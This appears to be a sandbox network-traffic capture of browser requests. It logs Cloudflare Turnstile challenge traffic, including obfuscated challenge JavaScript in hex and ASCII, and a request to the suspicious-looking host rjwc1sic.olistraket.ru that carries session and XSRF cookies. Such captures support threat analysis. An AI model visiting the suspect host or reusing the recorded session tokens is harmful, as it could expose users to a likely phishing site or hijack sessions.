2024-12-29 15:59:11 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 Data Ascii: browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fc
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 2c 67 36 2c 67 37 2c 67 38 2c 67 63 2c 67 64 2c 67 65 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 38 38 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 37 33 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 31 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 36 30 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 36 33 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 37 32 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 32 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,g6,g7,g8,gc,gd,ge,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(488))/1+parseInt(gI(1673))/2(parseInt(gI(1351))/3)+-parseInt(gI(860))/4+parseInt(gI(563))/5+-parseInt(gI(1672))/6(parseInt(gI(982))/7)+-parseInt(gI(
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 4a 2c 64 3d 7b 7d 2c 64 5b 68 74 28 38 33 37 29 5d 3d 68 74 28 35 30 38 29 2c 64 5b 68 74 28 37 32 30 29 5d 3d 68 74 28 31 30 36 33 29 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 74 28 33 30 33 29 5d 5b 68 74 28 39 35 38 29 5d 28 32 2e 31 31 3c 3c 66 2c 33 32 29 2c 65 4d 5b 68 74 28 37 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 75 29 7b 68 75 3d 68 74 2c 65 4d 5b 65 5b 68 75 28 38 33 37 29 5d 5d 26 26 28 65 4d 5b 68 75 28 31 33 35 39 29 5d 5b 68 75 28 39 32 33 29 5d 28 29 2c 65 4d 5b 68 75 28 31 33 35 39 29 5d 5b 68 75 28 37 38 38 29 5d 28 29 2c 65 4d 5b 68 75 28 39 30 30 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 68 75 28 38 33 37 29 5d 5d 5b 68 75 28 31 31 32 30 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 75 28 37 32 30 29 5d 2c 27 77 69 Data Ascii: J,d={},d[ht(837)]=ht(508),d[ht(720)]=ht(1063),e=d,f=1,g=1e3*eM[ht(303)][ht(958)](2.11<<f,32),eM[ht(782)](function(hu){hu=ht,eM[e[hu(837)]]&&(eM[hu(1359)][hu(923)](),eM[hu(1359)][hu(788)](),eM[hu(900)]=!![],eM[e[hu(837)]][hu(1120)]({'source':e[hu(720)],'wi
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 76 28 35 33 38 29 5d 28 4f 2c 50 5b 68 76 28 31 33 38 30 29 5d 2c 51 5b 68 76 28 31 36 32 34 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 51 5b 68 76 28 37 38 34 29 5d 28 27 76 5f 27 2b 61 67 5b 68 76 28 36 36 31 29 5d 5b 68 76 28 36 34 39 29 5d 2b 27 3d 27 2b 50 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 69 66 28 21 51 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 69 5b 68 76 28 34 36 35 29 5d 28 52 5b 68 76 28 31 33 38 30 29 5d 2c 53 29 3f 61 68 5b 68 76 28 31 33 38 30 29 5d 3d 61 69 5b 68 76 28 31 34 30 36 29 5d 28 61 6a 5b 68 76 28 31 33 38 30 29 5d 2c 61 6b 5b 68 76 28 31 34 36 34 29 5d 28 61 6c 5b 68 76 28 31 33 38 30 29 5d 29 29 3a 61 6d 5b 68 76 28 31 33 38 30 29 5d 3d 61 6e 5b 68 76 28 Data Ascii: v(538)](O,P[hv(1380)],Q[hv(1624)]);continue;case'4':Q[hv(784)]('v_'+ag[hv(661)][hv(649)]+'='+P);continue;case'5':if(!Q)return;continue;case'6':i[hv(465)](R[hv(1380)],S)?ah[hv(1380)]=ai[hv(1406)](aj[hv(1380)],ak[hv(1464)](al[hv(1380)])):am[hv(1380)]=an[hv(
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 28 36 36 31 29 5d 5b 68 76 28 36 34 32 29 5d 2c 6e 5b 68 76 28 33 32 37 29 5d 3d 65 4d 5b 68 76 28 36 36 31 29 5d 5b 68 76 28 35 33 39 29 5d 2c 6f 3d 6e 2c 73 3d 6e 65 77 20 65 4d 5b 28 68 76 28 31 30 37 34 29 29 5d 28 29 2c 21 73 29 72 65 74 75 72 6e 3b 78 3d 68 76 28 31 30 35 38 29 2c 73 5b 68 76 28 31 30 33 36 29 5d 28 78 2c 6d 2c 21 21 5b 5d 29 2c 73 5b 68 76 28 37 37 38 29 5d 3d 35 65 33 2c 73 5b 68 76 28 31 33 39 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 5b 68 76 28 37 37 30 29 5d 28 68 76 28 38 33 32 29 2c 68 76 28 31 32 39 31 29 29 2c 42 3d 7b 7d 2c 42 5b 68 76 28 37 31 33 29 5d 3d 66 2c 42 5b 68 76 28 31 31 39 39 29 5d 3d 6a 2c 42 2e 63 63 3d 67 2c 42 5b 68 76 28 38 32 33 29 5d 3d 6b 2c 42 5b 68 76 28 33 37 34 29 5d 3d 6f 2c 43 3d 4a Data Ascii: (661)][hv(642)],n[hv(327)]=eM[hv(661)][hv(539)],o=n,s=new eM[(hv(1074))](),!s)return;x=hv(1058),s[hv(1036)](x,m,!![]),s[hv(778)]=5e3,s[hv(1395)]=function(){},s[hv(770)](hv(832),hv(1291)),B={},B[hv(713)]=f,B[hv(1199)]=j,B.cc=g,B[hv(823)]=k,B[hv(374)]=o,C=J
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 5b 33 5d 2c 31 30 29 29 29 3a 65 4d 5b 68 79 28 37 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 7a 29 7b 68 7a 3d 68 79 2c 65 4d 5b 68 7a 28 31 36 38 30 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6c 3d 7b 7d 2c 6c 5b 68 79 28 33 38 33 29 5d 3d 64 2c 6c 5b 68 79 28 31 36 32 34 29 5d 3d 65 2c 6c 5b 68 79 28 34 36 36 29 5d 3d 66 2c 6c 5b 68 79 28 31 30 36 35 29 5d 3d 67 2c 6c 5b 68 79 28 31 33 38 30 29 5d 3d 68 2c 6d 3d 6c 2c 65 4d 5b 68 79 28 37 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 41 29 7b 69 66 28 68 41 3d 68 79 2c 69 5b 68 41 28 31 30 33 35 29 5d 21 3d 3d 68 41 28 31 36 35 34 29 29 74 72 79 7b 72 65 74 75 72 6e 20 69 5b 68 41 28 34 34 31 29 5d 28 6d 2c 6e 29 7d 63 61 74 63 68 28 73 29 7b 72 65 74 75 72 6e 20 78 28 42 28 43 29 29 7d 65 6c 73 65 20 65 4d Data Ascii: [3],10))):eM[hy(782)](function(hz){hz=hy,eM[hz(1680)]()},1e3):(l={},l[hy(383)]=d,l[hy(1624)]=e,l[hy(466)]=f,l[hy(1065)]=g,l[hy(1380)]=h,m=l,eM[hy(782)](function(hA){if(hA=hy,i[hA(1035)]!==hA(1654))try{return i[hA(441)](m,n)}catch(s){return x(B(C))}else eM
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 46 29 7d 29 2c 66 48 3d 21 5b 5d 2c 21 66 38 28 67 4a 28 31 36 30 32 29 29 26 26 28 67 35 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 53 2c 63 2c 64 2c 65 29 7b 69 53 3d 67 4a 2c 63 3d 7b 27 45 50 5a 78 53 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 5a 50 74 6e 76 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 7d 2c 64 3d 65 4d 5b 69 53 28 36 36 31 29 5d 5b 69 53 28 35 36 39 29 5d 7c 7c 31 65 34 2c 65 3d 63 5b 69 53 28 36 34 34 29 5d 28 67 33 29 2c 21 65 4d 5b 69 53 28 39 30 30 29 5d 26 26 21 66 49 28 29 26 26 21 65 4d 5b 69 53 28 31 33 35 39 29 5d 5b 69 53 28 33 36 35 29 5d 26 26 65 2d 67 32 3e 64 3f 63 5b Data Ascii: )](clearInterval,fF)}),fH=![],!f8(gJ(1602))&&(g5(),setInterval(function(iS,c,d,e){iS=gJ,c={'EPZxS':function(f){return f()},'ZPtnv':function(f){return f()}},d=eM[iS(661)][iS(569)]\|\|1e4,e=c[iS(644)](g3),!eM[iS(900)]&&!fI()&&!eM[iS(1359)][iS(365)]&&e-g2>d?c[
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 5b 69 58 28 31 35 33 30 29 5d 3f 67 5b 69 58 28 31 34 30 38 29 5d 5b 69 58 28 31 30 39 34 29 5d 28 6e 65 77 20 67 5b 28 69 58 28 31 35 33 30 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 69 5a 2c 48 29 7b 66 6f 72 28 69 5a 3d 69 58 2c 47 5b 69 5a 28 38 34 36 29 5d 28 29 2c 48 3d 30 3b 6f 5b 69 5a 28 38 33 31 29 5d 28 48 2c 47 5b 69 5a 28 35 36 34 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 48 2b 31 5d 3f 47 5b 69 5a 28 31 36 36 35 29 5d 28 6f 5b 69 5a 28 31 30 39 31 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 69 58 28 31 33 31 34 29 5d 5b 69 58 28 31 35 30 35 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 69 58 28 38 33 31 29 5d 28 43 Data Ascii: [iX(1530)]?g[iX(1408)][iX(1094)](new g[(iX(1530))](x)):function(G,iZ,H){for(iZ=iX,G[iZ(846)](),H=0;o[iZ(831)](H,G[iZ(564)]);G[H]===G[H+1]?G[iZ(1665)](o[iZ(1091)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[iX(1314)][iX(1505)](B),C=0;o[iX(831)](C
2024-12-29 15:59:11 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6d 63 4d 6f 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 54 65 73 42 48 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 46 4d 52 6c 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 63 57 6b 56 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 4d 79 51 50 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 59 54 70 69 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 74 4b 50 56 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 Data Ascii: ction(h,i){return h-i},'mcMoK':function(h,i){return h(i)},'TesBH':function(h,i){return h\|i},'FMRld':function(h,i){return i\|h},'cWkVE':function(h,i){return i&h},'MyQPS':function(h,i){return h-i},'YTpik':function(h,i){return h==i},'tKPVg':function(h,i){retu

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:11 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:11 UTC	240	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:11 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f9afef24d858c4e-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 15:59:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:12 UTC	1331	OUT	GET /favicon.ico HTTP/1.1 Host: rjwc1sic.olistraket.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rjwc1sic.olistraket.ru/mbbhx7U/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRLOTh4Q2ZnSHRPa09DazBxa3JSM2c9PSIsInZhbHVlIjoiZHBaSUdENlNjdHBjbGV0bFd2RGw4d1g4NXNkd0pNTi9HYVQzSEZMbHhibkZ1ZEQ2M285SVBEK1pqZ0hFRmY0Sk12OVZvY3E3UnRVYis5b1RzcjF3ODJhNHVvZ01YSldFZHluNmh3UkVCb2JLTWFpWGtzeGV1OHArS0lNN1RMcGsiLCJtYWMiOiIwNWZhNTU0OTJjZTEwMmQzOTMwNGM2Yjg4ZmVhOGJlMmNkODViNTFjMmRhNzhmMDU4OGE2ZTk1OGJlNDRlNTYyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhzR1RZTzg1cUczT1I4SFlZUHZCa1E9PSIsInZhbHVlIjoiaVE2QTBtSWNsUHlsVHFFWWplWWNyTExZWTcyMmg3dSt5TGR0eVN4ZlgzMzFDZ0RtT24zWDRxMUNzQ1ZkZnY2THpncit2SUtuTlFYUitHY1loTXZJVkFpOXZXMXNnb1lQQWFHS3B1OGpoRUxaSTk3UmhVeG9TK2FJdk9mZ1hUbnkiLCJtYWMiOiIwNDc1ODQ4NTA1ODllMjhkYTVlYzUxYTIzOTljMDY5YjkyOGMzZjhjN2MxMTJhZjVmYTg1ZDgxMTlmZWRhMmRjIiwidGFnIjoiIn0%3D
2024-12-29 15:59:13 UTC	1061	IN	HTTP/1.1 404 Not Found Date: Sun, 29 Dec 2024 15:59:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MlfSQvSmKF1ObMbzZnEx4UlIO6ZHkK30VrtgtSe4QlO2ZOox71nI6fC7HMviNB6Mrdsjp%2FrTNSgWU94Bx8jUOW8x71Q%2BEkfpa5hOzYjWmfcO9pIMN8%2FsIyfVQbTX9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=72068&min_rtt=72049&rtt_var=27057&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2244&delivery_rate=39443&cwnd=244&unsent_bytes=0&cid=d5491b13ff0a34c3&ts=394&x=0" CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8f9afef7ed8f42de-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1666&min_rtt=1625&rtt_var=638&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1909&delivery_rate=1796923&cwnd=230&unsent_bytes=0&cid=cc078bf2f367af18&ts=10814&x=0"
2024-12-29 15:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:13 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f9afee62d6042e1&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:14 UTC	331	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117790 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f9aff002aba440d-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 15:59:14 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 Data Ascii: ser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fge
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 59 2c 66 5a 2c 67 36 2c 67 63 2c 67 64 2c 67 44 2c 67 48 2c 67 61 2c 67 62 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 35 34 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 32 39 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 32 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 37 35 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 36 33 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 36 32 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 39 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 Data Ascii: ,fU,fY,fZ,g6,gc,gd,gD,gH,ga,gb){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(754))/1+parseInt(gI(1629))/2*(-parseInt(gI(1282))/3)+-parseInt(gI(475))/4+parseInt(gI(1863))/5+parseInt(gI(627))/6+-parseInt(gI(1359))/7+parseInt(gI(5
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 28 31 32 31 39 29 5b 67 4d 28 31 30 30 35 29 5d 28 27 7c 27 29 2c 6d 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6c 5b 6d 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 6e 3d 6b 5b 67 4d 28 36 33 33 29 5d 28 6b 5b 67 4d 28 36 33 33 29 5d 28 6b 5b 67 4d 28 36 33 33 29 5d 28 6b 5b 67 4d 28 36 38 33 29 5d 2b 78 2b 6b 5b 67 4d 28 35 30 36 29 5d 2c 31 29 2b 67 4d 28 35 39 30 29 2b 65 4d 5b 67 4d 28 31 31 33 37 29 5d 5b 67 4d 28 35 35 35 29 5d 2b 27 2f 27 2c 65 4d 5b 67 4d 28 31 31 33 37 29 5d 2e 63 48 29 2b 27 2f 27 2c 65 4d 5b 67 4d 28 31 31 33 37 29 5d 5b 67 4d 28 31 31 30 34 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 69 66 28 21 48 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 48 5b 67 4d 28 36 30 30 29 5d 3d Data Ascii: (1219)[gM(1005)]('\|'),m=0;!![];){switch(l[m++]){case'0':n=k[gM(633)](k[gM(633)](k[gM(633)](k[gM(683)]+x+k[gM(506)],1)+gM(590)+eM[gM(1137)][gM(555)]+'/',eM[gM(1137)].cH)+'/',eM[gM(1137)][gM(1104)]);continue;case'1':if(!H)return;continue;case'2':H[gM(600)]=
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2d 6f 7d 2c 27 51 47 54 47 50 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 59 63 63 44 50 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 47 62 69 50 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 26 6e 7d 2c 27 65 59 63 7a 50 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 42 4f 4a 54 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 6c 77 4f 54 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 46 70 54 4d 70 27 3a 67 4e 28 36 38 31 29 7d 2c 64 20 69 6e 73 Data Ascii: tion(n,o){return n-o},'QGTGP':function(n,o){return n^o},'YccDP':function(n,o){return n^o},'GbiPZ':function(n,o){return o&n},'eYczP':function(n,o){return n^o},'BOJTL':function(n,o,s){return n(o,s)},'lwOTL':function(n,o){return o===n},'FpTMp':gN(681)},d ins
